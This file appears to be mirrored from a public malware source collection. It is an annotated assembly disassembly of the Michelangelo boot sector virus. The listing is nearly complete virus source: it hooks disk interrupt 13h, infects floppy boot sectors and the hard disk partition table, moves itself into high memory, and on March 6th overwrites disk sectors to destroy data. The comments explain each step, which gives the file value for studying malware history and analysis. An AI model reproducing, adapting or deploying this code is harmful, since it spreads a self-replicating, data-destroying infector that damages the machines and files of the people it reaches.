mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
235 lines
9.0 KiB
NASM
235 lines
9.0 KiB
NASM
; This is a disassembly of the much-hyped michelangelo virus.
|
|
; As you can see, it is a derivative of the Stoned virus. The
|
|
; junk bytes at the end of the file are probably throwbacks to
|
|
; the Stoned virus. In any case, it is yet another boot sector
|
|
; and partition table infector.
|
|
|
|
michelangelo segment byte public
|
|
assume cs:michelangelo, ds:michelangelo
|
|
; Disassembly by Dark Angel of PHALCON/SKISM
|
|
org 0
|
|
|
|
jmp entervirus
|
|
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
|
maxhead db 2 ; used by damagestuff
|
|
firstsector dw 3
|
|
oldint13h dd 0C8000256h
|
|
|
|
int13h:
|
|
push ds
|
|
push ax
|
|
or dl, dl ; default drive?
|
|
jnz exitint13h ; exit if not
|
|
xor ax, ax
|
|
mov ds, ax
|
|
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
|
jnz exitint13h ; if not spinning, exit
|
|
pop ax
|
|
pop ds
|
|
pushf
|
|
call dword ptr cs:[oldint13h]; first call old int 13h
|
|
pushf
|
|
call infectdisk ; then infect
|
|
popf
|
|
retf 2
|
|
exitint13h: pop ax
|
|
pop ds
|
|
jmp dword ptr cs:[oldint13h]
|
|
|
|
infectdisk:
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov si, 4
|
|
readbootblock:
|
|
mov ax,201h ; Read boot block to
|
|
mov bx,200h ; after virus
|
|
mov cx,1
|
|
xor dx,dx
|
|
pushf
|
|
call oldint13h
|
|
jnc checkinfect ; continue if no error
|
|
xor ax,ax
|
|
pushf
|
|
call oldint13h ; Reset disk
|
|
dec si ; loop back
|
|
jnz readbootblock
|
|
jmp short quitinfect ; exit if too many failures
|
|
checkinfect:
|
|
xor si,si
|
|
cld
|
|
lodsw
|
|
cmp ax,[bx] ; check if already infected
|
|
jne infectitnow
|
|
lodsw
|
|
cmp ax,[bx+2] ; check again
|
|
je quitinfect
|
|
infectitnow:
|
|
mov ax,301h ; Write old boot block
|
|
mov dh,1 ; to head 1
|
|
mov cl,3 ; sector 3
|
|
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
|
je is360Kdisk
|
|
mov cl,0Eh
|
|
is360Kdisk:
|
|
mov firstsector,cx
|
|
pushf
|
|
call oldint13h
|
|
jc quitinfect ; exit on error
|
|
mov si,200h+offset partitioninfo
|
|
mov di,offset partitioninfo
|
|
mov cx,21h ; Copy partition table
|
|
cld
|
|
rep movsw
|
|
mov ax,301h ; Write virus to sector 1
|
|
xor bx,bx
|
|
mov cx,1
|
|
xor dx,dx
|
|
pushf
|
|
call oldint13h
|
|
quitinfect:
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
entervirus:
|
|
xor ax,ax
|
|
mov ds,ax
|
|
cli
|
|
mov ss,ax
|
|
mov ax,7C00h ; Set stack to just below
|
|
mov sp,ax ; virus load point
|
|
sti
|
|
push ds ; save 0:7C00h on stack for
|
|
push ax ; later retf
|
|
mov ax,ds:[13h*4]
|
|
mov word ptr ds:[7C00h+offset oldint13h],ax
|
|
mov ax,ds:[13h*4+2]
|
|
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
|
mov ax,ds:[413h] ; memory size in K
|
|
dec ax ; 1024 K
|
|
dec ax
|
|
mov ds:[413h],ax ; move new value in
|
|
mov cl,6
|
|
shl ax,cl ; ax = paragraphs of memory
|
|
mov es,ax ; next line sets seg of jmp
|
|
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
|
mov ax,offset int13h
|
|
mov ds:[13h*4],ax
|
|
mov ds:[13h*4+2],es
|
|
mov cx,offset partitioninfo
|
|
mov si,7C00h
|
|
xor di,di
|
|
cld
|
|
rep movsb ; copy to high memory
|
|
; and transfer control there
|
|
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
|
; destination of highmem jmp
|
|
xor ax,ax
|
|
mov es,ax
|
|
int 13h ; reset disk
|
|
push cs
|
|
pop ds
|
|
mov ax,201h
|
|
mov bx,7C00h
|
|
mov cx,firstsector
|
|
cmp cx,7 ; hard disk infection?
|
|
jne floppyboot ; if not, do floppies
|
|
mov dx,80h ; Read old partition table of
|
|
int 13h ; first hard disk to 0:7C00h
|
|
jmp short exitvirus
|
|
floppyboot:
|
|
mov cx,firstsector ; read old boot block
|
|
mov dx,100h ; to 0:7C00h
|
|
int 13h
|
|
jc exitvirus
|
|
push cs
|
|
pop es
|
|
mov ax,201h ; read boot block
|
|
mov bx,200h ; of first hard disk
|
|
mov cx,1
|
|
mov dx,80h
|
|
int 13h
|
|
jc exitvirus
|
|
xor si,si
|
|
cld
|
|
lodsw
|
|
cmp ax,[bx] ; is it infected?
|
|
jne infectharddisk ; if not, infect HD
|
|
lodsw ; check infection
|
|
cmp ax,[bx+2]
|
|
jne infectharddisk
|
|
exitvirus:
|
|
xor cx,cx ; Real time clock get date
|
|
mov ah,4 ; dx = mon/day
|
|
int 1Ah
|
|
cmp dx,306h ; March 6th
|
|
je damagestuff
|
|
retf ; return control to original
|
|
; boot block @ 0:7C00h
|
|
damagestuff:
|
|
xor dx,dx
|
|
mov cx,1
|
|
smashanothersector:
|
|
mov ax,309h
|
|
mov si,firstsector
|
|
cmp si,3
|
|
je smashit
|
|
mov al,0Eh
|
|
cmp si,0Eh
|
|
je smashit
|
|
mov dl,80h ; first hard disk
|
|
mov maxhead,4
|
|
mov al,11h
|
|
smashit:
|
|
mov bx,5000h ; random memory area
|
|
mov es,bx ; at 5000h:5000h
|
|
int 13h ; Write al sectors to drive dl
|
|
jnc skiponerror ; skip on error
|
|
xor ah,ah ; Reset disk drive dl
|
|
int 13h
|
|
skiponerror:
|
|
inc dh ; next head
|
|
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
|
jb smashanothersector
|
|
xor dh,dh ; go to next head/cylinder
|
|
inc ch
|
|
jmp short smashanothersector
|
|
infectharddisk:
|
|
mov cx,7 ; Write partition table to
|
|
mov firstsector,cx ; sector 7
|
|
mov ax,301h
|
|
mov dx,80h
|
|
int 13h
|
|
jc exitvirus
|
|
mov si,200h+offset partitioninfo ; Copy partition
|
|
mov di,offset partitioninfo ; table information
|
|
mov cx,21h
|
|
rep movsw
|
|
mov ax,301h ; Write to sector 8
|
|
xor bx,bx ; Copy virus to sector 1
|
|
inc cl
|
|
int 13h
|
|
;* jmp short 01E0h
|
|
db 0EBh, 32h ; ?This should crash?
|
|
; The following bytes are meaningless.
|
|
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
|
partitioninfo: db 42h dup (0)
|
|
michelangelo ends
|
|
end
|
|
|